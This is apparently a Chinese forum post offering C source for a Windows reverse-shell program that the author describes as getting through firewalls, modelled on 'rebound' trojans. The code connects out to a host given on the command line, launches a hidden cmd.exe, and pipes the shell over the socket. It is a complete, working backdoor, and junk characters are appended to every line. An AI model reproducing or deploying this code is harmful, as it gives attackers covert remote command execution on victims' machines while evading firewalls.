这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2Pp&d>E4
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/* ============================== .B>B`q;B
Rebound port in Windows NT %,|ztH/ Q
By wind,2006/7 t^.'>RwW|
===============================*/ )Pli})
#include M-Y0xWs
#include &8sV
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#pragma comment(lib,"wsock32.lib") |) Pi6Y
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void OutputShell(); Sj)}qM-y#
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b{RqwV5P
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void main(int argc,char **argv) YUscz!rM
{ 2zK"*7b?
WSADATA stWsaData; &x0C4Kh
int nRet; f7J,&<<5w
SOCKADDR_IN stSaiClient,stSaiServer; iITp**l
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if(argc != 3) w(BH247`
{ HR60
printf("Useage:\n\rRebound DestIP DestPort\n"); m_*R.a
return; Ax!Gu$K2o
} K;U39ofW
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WSAStartup(MAKEWORD(2,2),&stWsaData); '# z]M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =Ikg.jYq&F
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stSaiClient.sin_family = AF_INET; Km3&N
stSaiClient.sin_port = htons(0); DA"}A`HfI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zoP%u,XL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F
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{ ++8_fgM
printf("Bind Socket Failed!\n"); lJ{V
return; 1$ML #5+,
} mJC3@V
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stSaiServer.sin_family = AF_INET; 6:?rlh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n#*`!#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~|lIC !q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <\@1Zz@ms
{ +l?; )
printf("Connect Error!"); 9`"DFFSMS
return; 0mexF@
} '{f=hE_/
OutputShell(); S#8>ZwQ
} jtKn3m7 +p
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void OutputShell() 8LJ{i%
{ !@g)10u
char szBuff[1024]; 1f4bt6[
SECURITY_ATTRIBUTES stSecurityAttributes; },c,30V'
OSVERSIONINFO stOsversionInfo; IfV
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cd]/
STARTUPINFO stStartupInfo; GBP-V66
char *szShell; [s`
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PROCESS_INFORMATION stProcessInformation; ?4[H]BK
unsigned long lBytesRead; :\yc*OtX
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jm3G?Vnq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fSA)G$b]
stSecurityAttributes.lpSecurityDescriptor = 0; nl1-kB)$e|
stSecurityAttributes.bInheritHandle = TRUE; /#S>sOg2xq
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :b/jNHJU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~xyw>m+o.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z.)p
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t FgX\4
stStartupInfo.wShowWindow = SW_HIDE; n56;m`IU
stStartupInfo.hStdInput = hReadPipe; I*\^,ow
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "T6#
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GetVersionEx(&stOsversionInfo); PRs@zkO
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switch(stOsversionInfo.dwPlatformId) .px:e)iW
{ onte&Ed\
case 1: uDuF#3
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szShell = "command.com"; 1u}nm;3
break; $Ui&D
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default: orIQ~pF#
szShell = "cmd.exe"; jo98
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break; \u{8Bak0
} SEF6B45}1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); {G*QY%j^
while(1) Mkv|TyC
{ M{N(~ql
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6Nh0
if(lBytesRead) MZv\ C
{ i$UQbd
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HJhH-\{@
send(sClient,szBuff,lBytesRead,0); )\ 0F7Z
} c[cAUsk i
else :q+N&j'3
{ $=aI"(3&
lBytesRead=recv(sClient,szBuff,1024,0); SR7j\1a/2A
if(lBytesRead<=0) break; Fu _@!K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #a9_~\s
} 61K"(r~
} TbhH&kG)1
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return; MagMZR
}